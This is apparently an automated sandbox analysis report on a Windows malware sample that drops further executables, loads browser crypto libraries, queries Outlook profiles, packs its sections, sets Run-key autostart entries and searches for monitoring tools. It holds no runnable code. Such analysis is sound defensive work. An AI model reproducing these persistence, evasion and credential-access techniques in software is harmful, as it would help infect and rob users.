Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2125312 > 1048576

Source: file.exe

Static PE information: Raw size of uikmugxw is bigger than: 0x100000 < 0x19be00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2054723125.000000006FE3D000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2025550529.0000000000C9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2054264456.000000006D491000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1422553388.00000000056CB000.00000004.00001000.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2567939622.000000000630C000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2495407278.00000000088AB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2361785150.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 0000001E.00000003.2321135289.00000000054CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2479376498.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000003.2438045776.00000000057CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000003.2608697053.000000000510B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2025550529.0000000000C9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2054264456.000000006D491000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1422553388.00000000056CB000.00000004.00001000.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2567939622.000000000630C000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2495407278.00000000088AB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2361785150.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 0000001E.00000003.2321135289.00000000054CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2479376498.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000003.2438045776.00000000057CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000003.2608697053.000000000510B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: ae09953578.exe, 00000022.00000002.2624320326.0000000000AF2000.00000040.00000001.01000000.0000001A.sdmp, ae09953578.exe, 00000022.00000003.2488561730.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2054723125.000000006FE3D000.00000002.00000001.01000000.00000013.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW;
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Unpacked PE file: 24.2.DocumentsEGHJKFHJJJ.exe.f90000.0.unpack :EW;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.850000.0.unpack :EW;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.850000.0.unpack :EW;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zfsnmxuo:EW;hrxqujut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Unpacked PE file: 27.2.8407c5d8e2.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Unpacked PE file: 30.2.ef7349e1dc.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Unpacked PE file: 31.2.8407c5d8e2.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Unpacked PE file: 33.2.ef7349e1dc.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Unpacked PE file: 34.2.ae09953578.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W;jtkzykov:EW;jfxnwzcu:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Unpacked PE file: 36.2.8407c5d8e2.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;anltzulc:EW;tzjtjjai:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Unpacked PE file: 37.2.ef7349e1dc.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uikmugxw:EW;mucpsfol:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ef7349e1dc.exe.25.dr	Static PE information: real checksum: 0x20ecfe should be: 0x213fce
Source: random[2].exe.25.dr	Static PE information: real checksum: 0x20ecfe should be: 0x213fce
Source: 8407c5d8e2.exe.25.dr	Static PE information: real checksum: 0x31d1b4 should be: 0x319de8
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: real checksum: 0x327b56 should be: 0x325571
Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: random[1].exe.25.dr	Static PE information: real checksum: 0x31d1b4 should be: 0x319de8
Source: ae09953578.exe.25.dr	Static PE information: real checksum: 0x2b3979 should be: 0x2b3060
Source: file.exe	Static PE information: real checksum: 0x20ecfe should be: 0x213fce
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x327b56 should be: 0x325571
Source: random[1].exe0.25.dr	Static PE information: real checksum: 0x2b3979 should be: 0x2b3060
Source: skotes.exe.24.dr	Static PE information: real checksum: 0x327b56 should be: 0x325571

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uikmugxw
Source: file.exe	Static PE information: section name: mucpsfol
Source: file.exe	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: zfsnmxuo
Source: random[1].exe.0.dr	Static PE information: section name: hrxqujut
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name:
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: zfsnmxuo
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: hrxqujut
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name: zfsnmxuo
Source: skotes.exe.24.dr	Static PE information: section name: hrxqujut
Source: skotes.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name: anltzulc
Source: random[1].exe.25.dr	Static PE information: section name: tzjtjjai
Source: random[1].exe.25.dr	Static PE information: section name: .taggant
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name:
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: .idata
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: anltzulc
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: tzjtjjai
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: .taggant
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .rsrc
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: uikmugxw
Source: random[2].exe.25.dr	Static PE information: section name: mucpsfol
Source: random[2].exe.25.dr	Static PE information: section name: .taggant
Source: ef7349e1dc.exe.25.dr	Static PE information: section name:
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: .rsrc
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: .idata
Source: ef7349e1dc.exe.25.dr	Static PE information: section name:
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: uikmugxw
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: mucpsfol
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: .taggant
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name: jtkzykov
Source: random[1].exe0.25.dr	Static PE information: section name: jfxnwzcu
Source: random[1].exe0.25.dr	Static PE information: section name: .taggant
Source: ae09953578.exe.25.dr	Static PE information: section name:
Source: ae09953578.exe.25.dr	Static PE information: section name: .idata
Source: ae09953578.exe.25.dr	Static PE information: section name: jtkzykov
Source: ae09953578.exe.25.dr	Static PE information: section name: jfxnwzcu
Source: ae09953578.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FAD91C push ecx; ret	24_2_00FAD92F
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FA1359 push es; ret	24_2_00FA135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0086D91C push ecx; ret	25_2_0086D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0086DFC6 push ecx; ret	25_2_0086DFD9

Source: file.exe	Static PE information: section name: uikmugxw entropy: 7.954002724307145
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.073225583603693
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: entropy: 7.073225583603693
Source: skotes.exe.24.dr	Static PE information: section name: entropy: 7.073225583603693
Source: random[1].exe.25.dr	Static PE information: section name: entropy: 7.062234749367177
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: entropy: 7.062234749367177
Source: random[2].exe.25.dr	Static PE information: section name: uikmugxw entropy: 7.954002724307145
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: uikmugxw entropy: 7.954002724307145
Source: random[1].exe0.25.dr	Static PE information: section name: entropy: 7.787700216134363
Source: ae09953578.exe.25.dr	Static PE information: section name: entropy: 7.787700216134363

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGHJKFHJJJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGHJKFHJJJ.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae09953578.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7349e1dc.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8407c5d8e2.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGHJKFHJJJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Window searched: window name: FilemonClass
